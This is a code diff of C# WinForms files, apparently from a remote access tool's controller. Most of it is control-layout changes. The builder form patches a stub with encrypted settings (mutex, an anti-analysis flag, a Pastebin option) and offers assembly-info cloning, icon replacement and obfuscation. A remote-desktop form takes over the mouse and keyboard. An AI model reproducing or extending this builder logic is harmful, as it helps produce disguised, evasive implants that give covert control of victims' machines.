this.groupBox4.Text = "Assembly Information";
@ -530,9 +569,10 @@ namespace Server.Forms
// btnClone
//
this.btnClone.Enabled = false;
this.btnClone.Location = new System.Drawing.Point(453, 43);
this.btnClone.Location = new System.Drawing.Point(302, 28);
this.btnClone.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnClone.Name = "btnClone";
this.btnClone.Size = new System.Drawing.Size(103, 38);
this.btnClone.Size = new System.Drawing.Size(69, 25);
this.btnClone.TabIndex = 21;
this.btnClone.Text = "Clone";
this.btnClone.UseVisualStyleBackColor = true;
@ -541,9 +581,10 @@ namespace Server.Forms
// btnAssembly
//
this.btnAssembly.AutoSize = true;
this.btnAssembly.Location = new System.Drawing.Point(15, 29);
this.btnAssembly.Location = new System.Drawing.Point(10, 19);
this.btnAssembly.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnAssembly.Name = "btnAssembly";
this.btnAssembly.Size = new System.Drawing.Size(85, 24);
this.btnAssembly.Size = new System.Drawing.Size(59, 17);
this.btnAssembly.TabIndex = 20;
this.btnAssembly.Text = "Enable";
this.btnAssembly.UseVisualStyleBackColor = true;
@ -553,9 +594,10 @@ namespace Server.Forms
//
this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtFileVersion.Enabled = false;
this.txtFileVersion.Location = new System.Drawing.Point(159, 398);
this.txtFileVersion.Location = new System.Drawing.Point(106, 259);
this.txtFileVersion.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(397, 26);
this.txtFileVersion.Size = new System.Drawing.Size(266, 20);
this.txtFileVersion.TabIndex = 19;
this.txtFileVersion.Text = global::Server.Properties.Settings.Default.txtFileVersion;
//
@ -563,9 +605,10 @@ namespace Server.Forms
//
this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtProductVersion.Enabled = false;
this.txtProductVersion.Location = new System.Drawing.Point(159, 356);
this.txtProductVersion.Location = new System.Drawing.Point(106, 231);
this.txtProductVersion.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(397, 26);
this.txtProductVersion.Size = new System.Drawing.Size(266, 20);
this.txtProductVersion.TabIndex = 18;
this.txtProductVersion.Text = global::Server.Properties.Settings.Default.txtProductVersion;
//
@ -573,9 +616,10 @@ namespace Server.Forms
//
this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtOriginalFilename.Enabled = false;
this.txtOriginalFilename.Location = new System.Drawing.Point(159, 314);
this.txtOriginalFilename.Location = new System.Drawing.Point(106, 204);
this.txtOriginalFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(397, 26);
this.txtOriginalFilename.Size = new System.Drawing.Size(266, 20);
this.txtOriginalFilename.TabIndex = 17;
this.txtOriginalFilename.Text = global::Server.Properties.Settings.Default.txtOriginalFilename;
//
@ -583,9 +627,10 @@ namespace Server.Forms
//
this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtTrademarks.Enabled = false;
this.txtTrademarks.Location = new System.Drawing.Point(159, 272);
this.txtTrademarks.Location = new System.Drawing.Point(106, 177);
this.txtTrademarks.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(397, 26);
this.txtTrademarks.Size = new System.Drawing.Size(266, 20);
this.txtTrademarks.TabIndex = 16;
this.txtTrademarks.Text = global::Server.Properties.Settings.Default.txtTrademarks;
//
@ -593,9 +638,10 @@ namespace Server.Forms
//
this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtCopyright.Enabled = false;
this.txtCopyright.Location = new System.Drawing.Point(159, 230);
this.txtCopyright.Location = new System.Drawing.Point(106, 149);
this.txtCopyright.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(397, 26);
this.txtCopyright.Size = new System.Drawing.Size(266, 20);
this.txtCopyright.TabIndex = 15;
this.txtCopyright.Text = global::Server.Properties.Settings.Default.txtCopyright;
//
@ -603,63 +649,70 @@ namespace Server.Forms
//
this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtCompany.Enabled = false;
this.txtCompany.Location = new System.Drawing.Point(159, 188);
this.txtCompany.Location = new System.Drawing.Point(106, 122);
this.txtCompany.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtCompany.Name = "txtCompany";
this.txtCompany.Size = new System.Drawing.Size(397, 26);
this.txtCompany.Size = new System.Drawing.Size(266, 20);
this.txtCompany.TabIndex = 14;
this.txtCompany.Text = global::Server.Properties.Settings.Default.txtCompany;
//
// label14
//
this.label14.AutoSize = true;
this.label14.Location = new System.Drawing.Point(8, 359);
this.label14.Location = new System.Drawing.Point(5, 233);
this.label14.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label14.Name = "label14";
this.label14.Size = new System.Drawing.Size(126, 20);
this.label14.Size = new System.Drawing.Size(85, 13);
this.label14.TabIndex = 13;
this.label14.Text = "Product Version:";
//
// label13
//
this.label13.AutoSize = true;
this.label13.Location = new System.Drawing.Point(8, 401);
this.label13.Location = new System.Drawing.Point(5, 261);
this.label13.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label13.Name = "label13";
this.label13.Size = new System.Drawing.Size(96, 20);
this.label13.Size = new System.Drawing.Size(64, 13);
this.label13.TabIndex = 12;
this.label13.Text = "File Version:";
//
// label12
//
this.label12.AutoSize = true;
this.label12.Location = new System.Drawing.Point(8, 317);
this.label12.Location = new System.Drawing.Point(5, 206);
this.label12.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label12.Name = "label12";
this.label12.Size = new System.Drawing.Size(135, 20);
this.label12.Size = new System.Drawing.Size(90, 13);
this.label12.TabIndex = 11;
this.label12.Text = "Original Filename:";
//
// label11
//
this.label11.AutoSize = true;
this.label11.Location = new System.Drawing.Point(8, 275);
this.label11.Location = new System.Drawing.Point(5, 179);
this.label11.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(97, 20);
this.label11.Size = new System.Drawing.Size(66, 13);
this.label11.TabIndex = 10;
this.label11.Text = "Trademarks:";
//
// label10
//
this.label10.AutoSize = true;
this.label10.Location = new System.Drawing.Point(8, 233);
this.label10.Location = new System.Drawing.Point(5, 151);
this.label10.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(80, 20);
this.label10.Size = new System.Drawing.Size(54, 13);
this.label10.TabIndex = 9;
this.label10.Text = "Copyright:";
//
// label9
//
this.label9.AutoSize = true;
this.label9.Location = new System.Drawing.Point(8, 191);
this.label9.Location = new System.Drawing.Point(5, 124);
this.label9.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label9.Name = "label9";
this.label9.Size = new System.Drawing.Size(80, 20);
this.label9.Size = new System.Drawing.Size(54, 13);
this.label9.TabIndex = 8;
this.label9.Text = "Company:";
//
@ -667,18 +720,20 @@ namespace Server.Forms
//
this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtDescription.Enabled = false;
this.txtDescription.Location = new System.Drawing.Point(159, 146);
this.txtDescription.Location = new System.Drawing.Point(106, 95);
this.txtDescription.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(397, 26);
this.txtDescription.Size = new System.Drawing.Size(266, 20);
this.txtDescription.TabIndex = 7;
this.txtDescription.Text = global::Server.Properties.Settings.Default.txtDescription;
//
// label7
//
this.label7.AutoSize = true;
this.label7.Location = new System.Drawing.Point(8, 149);
this.label7.Location = new System.Drawing.Point(5, 97);
this.label7.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(93, 20);
this.label7.Size = new System.Drawing.Size(63, 13);
this.label7.TabIndex = 6;
this.label7.Text = "Description:";
//
@ -686,28 +741,31 @@ namespace Server.Forms
//
this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtProduct.Enabled = false;
this.txtProduct.Location = new System.Drawing.Point(159, 104);
this.txtProduct.Location = new System.Drawing.Point(106, 68);
this.txtProduct.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtProduct.Name = "txtProduct";
this.txtProduct.Size = new System.Drawing.Size(397, 26);
this.txtProduct.Size = new System.Drawing.Size(266, 20);
this.txtProduct.TabIndex = 5;
this.txtProduct.Text = global::Server.Properties.Settings.Default.ProductName;
//
// label8
//
this.label8.AutoSize = true;
this.label8.Location = new System.Drawing.Point(8, 107);
this.label8.Location = new System.Drawing.Point(5, 70);
this.label8.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label8.Name = "label8";
this.label8.Size = new System.Drawing.Size(68, 20);
this.label8.Size = new System.Drawing.Size(47, 13);
this.label8.TabIndex = 4;
this.label8.Text = "Product:";
//
// tabPage5
//
this.tabPage5.Controls.Add(this.groupBox5);
this.tabPage5.Location = new System.Drawing.Point(4, 29);
this.tabPage5.Location = new System.Drawing.Point(4, 22);
this.tabPage5.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage5.Name = "tabPage5";
this.tabPage5.Padding = new System.Windows.Forms.Padding(3);
this.tabPage5.Size = new System.Drawing.Size(599, 464);
this.tabPage5.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage5.Size = new System.Drawing.Size(397, 297);
this.tabPage5.TabIndex = 4;
this.tabPage5.Text = "Icon";
this.tabPage5.UseVisualStyleBackColor = true;
@ -719,9 +777,11 @@ namespace Server.Forms
this.groupBox5.Controls.Add(this.txtIcon);
this.groupBox5.Controls.Add(this.btnIcon);
this.groupBox5.Controls.Add(this.picIcon);
this.groupBox5.Location = new System.Drawing.Point(6, 17);
this.groupBox5.Location = new System.Drawing.Point(4, 11);
this.groupBox5.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox5.Name = "groupBox5";
this.groupBox5.Size = new System.Drawing.Size(585, 439);
this.groupBox5.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox5.Size = new System.Drawing.Size(390, 285);
this.groupBox5.TabIndex = 0;
this.groupBox5.TabStop = false;
this.groupBox5.Text = "Add Icon";
@ -729,9 +789,10 @@ namespace Server.Forms
// chkIcon
//
this.chkIcon.AutoSize = true;
this.chkIcon.Location = new System.Drawing.Point(15, 29);
this.chkIcon.Location = new System.Drawing.Point(10, 19);
this.chkIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkIcon.Name = "chkIcon";
this.chkIcon.Size = new System.Drawing.Size(85, 24);
this.chkIcon.Size = new System.Drawing.Size(59, 17);
this.chkIcon.TabIndex = 8;
this.chkIcon.Text = "Enable";
this.chkIcon.UseVisualStyleBackColor = true;
@ -740,26 +801,29 @@ namespace Server.Forms
// label15
//
this.label15.AutoSize = true;
this.label15.Location = new System.Drawing.Point(11, 89);
this.label15.Location = new System.Drawing.Point(7, 58);
this.label15.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label15.Name = "label15";
this.label15.Size = new System.Drawing.Size(42, 20);
this.label15.Size = new System.Drawing.Size(29, 13);
this.label15.TabIndex = 7;
this.label15.Text = "Path";
//
// txtIcon
//
this.txtIcon.Enabled = false;
this.txtIcon.Location = new System.Drawing.Point(15, 122);
this.txtIcon.Location = new System.Drawing.Point(10, 79);
this.txtIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtIcon.Name = "txtIcon";
this.txtIcon.Size = new System.Drawing.Size(447, 26);
this.txtIcon.Size = new System.Drawing.Size(299, 20);
this.txtIcon.TabIndex = 6;
//
// btnIcon
//
this.btnIcon.Enabled = false;
this.btnIcon.Location = new System.Drawing.Point(485, 122);
this.btnIcon.Location = new System.Drawing.Point(323, 79);
this.btnIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(60, 26);
this.btnIcon.Size = new System.Drawing.Size(40, 17);
this.btnIcon.TabIndex = 5;
this.btnIcon.Text = " ";
this.btnIcon.UseVisualStyleBackColor = true;
@ -770,9 +834,10 @@ namespace Server.Forms
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.picIcon.ErrorImage = null;
this.picIcon.InitialImage = null;
this.picIcon.Location = new System.Drawing.Point(15, 171);
this.picIcon.Location = new System.Drawing.Point(10, 111);
this.picIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.picIcon.Name = "picIcon";
this.picIcon.Size = new System.Drawing.Size(128, 128);
this.picIcon.Size = new System.Drawing.Size(86, 84);
this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.picIcon.TabIndex = 4;
this.picIcon.TabStop = false;
@ -781,10 +846,11 @@ namespace Server.Forms
//
this.tabPage6.Controls.Add(this.chkObfu);
this.tabPage6.Controls.Add(this.btnBuild);
this.tabPage6.Location = new System.Drawing.Point(4, 29);
this.tabPage6.Location = new System.Drawing.Point(4, 22);
this.tabPage6.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage6.Name = "tabPage6";
this.tabPage6.Padding = new System.Windows.Forms.Padding(3);
this.tabPage6.Size = new System.Drawing.Size(599, 464);
this.tabPage6.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage6.Size = new System.Drawing.Size(397, 297);
this.tabPage6.TabIndex = 5;
this.tabPage6.Text = "Build";
this.tabPage6.UseVisualStyleBackColor = true;
@ -792,18 +858,20 @@ namespace Server.Forms
// chkObfu
//
this.chkObfu.AutoSize = true;
this.chkObfu.Location = new System.Drawing.Point(18, 148);
this.chkObfu.Location = new System.Drawing.Point(12, 96);
this.chkObfu.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkObfu.Name = "chkObfu";
this.chkObfu.Size = new System.Drawing.Size(166, 24);
this.chkObfu.Size = new System.Drawing.Size(112, 17);
this.chkObfu.TabIndex = 2;
this.chkObfu.Text = "Simple Obfuscator";
this.chkObfu.UseVisualStyleBackColor = true;
//
// btnBuild
//
this.btnBuild.Location = new System.Drawing.Point(18, 196);
this.btnBuild.Location = new System.Drawing.Point(12, 127);
this.btnBuild.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnBuild.Name = "btnBuild";
this.btnBuild.Size = new System.Drawing.Size(539, 49);
this.btnBuild.Size = new System.Drawing.Size(359, 32);
this.btnBuild.TabIndex = 1;
this.btnBuild.Text = "Build";
this.btnBuild.UseVisualStyleBackColor = true;
@ -811,11 +879,12 @@ namespace Server.Forms
//
// FormBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(607, 497);
this.ClientSize = new System.Drawing.Size(405, 323);
this.Controls.Add(this.tabControl1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.Name = "FormBuilder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Builder";

View File

@ -183,12 +183,12 @@ namespace Server.Forms
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();
if (string.IsNullOrWhiteSpace(txtGroup.Text)) txtGroup.Text = "Default";
if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Helper.Methods.GetRandomString(12);
ModuleDefMD asmDef = null;
try
{
@ -369,7 +369,7 @@ namespace Server.Forms
{
asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
asmDef.Name = Path.GetFileName(AsmName);
if (type.Name == "Settings")
if (type.Name == "Settings")
foreach (MethodDef method in type.Methods)
{
if (method.Body == null) continue;
@ -428,7 +428,10 @@ namespace Server.Forms
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (string.IsNullOrWhiteSpace(txtMutex.Text))
method.Body.Instructions[i].Operand = Helper.Methods.GetRandomString(12);
else
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
@ -464,21 +467,6 @@ namespace Server.Forms
}
}
private readonly Random random = new Random();
const string alphabet = "asdfghjklqwertyuiopmnbvcxz";
public string getRandomCharacters()
{
var sb = new StringBuilder();
for (int i = 1; i <= new Random().Next(10, 20); i++)
{
var randomCharacterPosition = random.Next(0, alphabet.Length);
sb.Append(alphabet[randomCharacterPosition]);
}
return sb.ToString();
}
private void BtnClone_Click(object sender, EventArgs e)
{
using (var openFileDialog = new OpenFileDialog())
@ -501,5 +489,10 @@ namespace Server.Forms
}
}
}
private void txtMutex_MouseEnter(object sender, EventArgs e)
{
txtMutex.Text = Helper.Methods.GetRandomString(12);
}
}
}

View File

@ -40,8 +40,8 @@
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.label1 = new System.Windows.Forms.Label();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.btnStart = new System.Windows.Forms.Button();
this.btnSlide = new System.Windows.Forms.Button();
this.timerSave = new System.Windows.Forms.Timer(this.components);
this.labelWait = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
@ -54,12 +54,14 @@
//
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
this.pictureBox1.Size = new System.Drawing.Size(625, 315);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
//
// timer1
@ -77,20 +79,22 @@
this.panel1.Controls.Add(this.numericUpDown2);
this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.numericUpDown1);
this.panel1.Controls.Add(this.button1);
this.panel1.Controls.Add(this.btnStart);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0);
this.panel1.Margin = new System.Windows.Forms.Padding(2);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(938, 38);
this.panel1.Size = new System.Drawing.Size(625, 25);
this.panel1.TabIndex = 1;
//
// btnKeyboard
//
this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard;
this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnKeyboard.Location = new System.Drawing.Point(622, 3);
this.btnKeyboard.Location = new System.Drawing.Point(415, 2);
this.btnKeyboard.Margin = new System.Windows.Forms.Padding(2);
this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(32, 32);
this.btnKeyboard.Size = new System.Drawing.Size(21, 21);
this.btnKeyboard.TabIndex = 6;
this.btnKeyboard.UseVisualStyleBackColor = true;
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
@ -99,9 +103,10 @@
//
this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnMouse.Location = new System.Drawing.Point(550, 3);
this.btnMouse.Location = new System.Drawing.Point(367, 2);
this.btnMouse.Margin = new System.Windows.Forms.Padding(2);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(32, 32);
this.btnMouse.Size = new System.Drawing.Size(21, 21);
this.btnMouse.TabIndex = 3;
this.btnMouse.UseVisualStyleBackColor = true;
this.btnMouse.Click += new System.EventHandler(this.Button3_Click);
@ -110,9 +115,10 @@
//
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSave.Location = new System.Drawing.Point(455, 3);
this.btnSave.Location = new System.Drawing.Point(303, 2);
this.btnSave.Margin = new System.Windows.Forms.Padding(2);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(32, 32);
this.btnSave.Size = new System.Drawing.Size(21, 21);
this.btnSave.TabIndex = 5;
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
@ -120,9 +126,10 @@
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(268, 9);
this.label2.Location = new System.Drawing.Point(179, 6);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(76, 20);
this.label2.Size = new System.Drawing.Size(51, 13);
this.label2.TabIndex = 4;
this.label2.Text = "SCREEN";
//
@ -135,14 +142,15 @@
0,
0,
0});
this.numericUpDown2.Location = new System.Drawing.Point(352, 5);
this.numericUpDown2.Location = new System.Drawing.Point(235, 3);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Maximum = new decimal(new int[] {
0,
0,
0,
0});
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(63, 26);
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
this.numericUpDown2.TabIndex = 3;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
@ -150,9 +158,10 @@
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(82, 9);
this.label1.Location = new System.Drawing.Point(55, 6);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(78, 20);
this.label1.Size = new System.Drawing.Size(53, 13);
this.label1.TabIndex = 2;
this.label1.Text = "QUALITY";
//
@ -165,14 +174,15 @@
0,
0,
0});
this.numericUpDown1.Location = new System.Drawing.Point(166, 5);
this.numericUpDown1.Location = new System.Drawing.Point(111, 3);
this.numericUpDown1.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown1.Minimum = new decimal(new int[] {
20,
0,
0,
0});
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
this.numericUpDown1.Size = new System.Drawing.Size(55, 20);
this.numericUpDown1.TabIndex = 1;
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
@ -182,29 +192,31 @@
0,
0});
//
// button1
// btnStart
//
this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_;
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button1.Location = new System.Drawing.Point(12, 3);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(32, 32);
this.button1.TabIndex = 0;
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.Button1_Click);
this.btnStart.BackgroundImage = global::Server.Properties.Resources.stop__1_;
this.btnStart.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnStart.Location = new System.Drawing.Point(8, 2);
this.btnStart.Margin = new System.Windows.Forms.Padding(2);
this.btnStart.Name = "btnStart";
this.btnStart.Size = new System.Drawing.Size(21, 21);
this.btnStart.TabIndex = 0;
this.btnStart.UseVisualStyleBackColor = true;
this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
//
// button2
// btnSlide
//
this.button2.BackgroundImage = global::Server.Properties.Resources.arrow_up;
this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.Location = new System.Drawing.Point(428, 44);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(18, 18);
this.button2.TabIndex = 2;
this.button2.Text = " ";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.Button2_Click);
this.btnSlide.BackgroundImage = global::Server.Properties.Resources.arrow_up;
this.btnSlide.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSlide.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.btnSlide.Location = new System.Drawing.Point(285, 29);
this.btnSlide.Margin = new System.Windows.Forms.Padding(2);
this.btnSlide.Name = "btnSlide";
this.btnSlide.Size = new System.Drawing.Size(12, 12);
this.btnSlide.TabIndex = 2;
this.btnSlide.Text = " ";
this.btnSlide.UseVisualStyleBackColor = true;
this.btnSlide.Click += new System.EventHandler(this.btnSlide_Click);
//
// timerSave
//
@ -215,24 +227,26 @@
//
this.labelWait.AutoSize = true;
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F);
this.labelWait.Location = new System.Drawing.Point(376, 222);
this.labelWait.Location = new System.Drawing.Point(251, 144);
this.labelWait.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelWait.Name = "labelWait";
this.labelWait.Size = new System.Drawing.Size(78, 29);
this.labelWait.Size = new System.Drawing.Size(53, 20);
this.labelWait.TabIndex = 3;
this.labelWait.Text = "Wait...";
//
// FormRemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(938, 485);
this.ClientSize = new System.Drawing.Size(625, 315);
this.Controls.Add(this.labelWait);
this.Controls.Add(this.button2);
this.Controls.Add(this.btnSlide);
this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MinimumSize = new System.Drawing.Size(655, 440);
this.Margin = new System.Windows.Forms.Padding(2);
this.MinimumSize = new System.Drawing.Size(442, 300);
this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
@ -256,8 +270,8 @@
public System.Windows.Forms.Timer timer1;
private System.Windows.Forms.Panel panel1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Button btnStart;
private System.Windows.Forms.Button btnSlide;
public System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.Label label2;
public System.Windows.Forms.NumericUpDown numericUpDown2;

View File

@ -1,6 +1,4 @@
using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
using System;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
@ -16,6 +14,7 @@ using System.Threading;
using System.Drawing.Imaging;
using System.IO;
using Encoder = System.Drawing.Imaging.Encoder;
using Server.StreamLibrary;
namespace Server.Forms
{
@ -28,8 +27,7 @@ namespace Server.Forms
public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize;
public UnsafeStreamCodec decoder = new UnsafeStreamCodec(60);
private bool isMouse = false;
private bool isKeyboard = false;
public object syncPicbox = new object();
@ -51,19 +49,19 @@ namespace Server.Forms
catch { this.Close(); }
}
private void Button2_Click(object sender, EventArgs e)
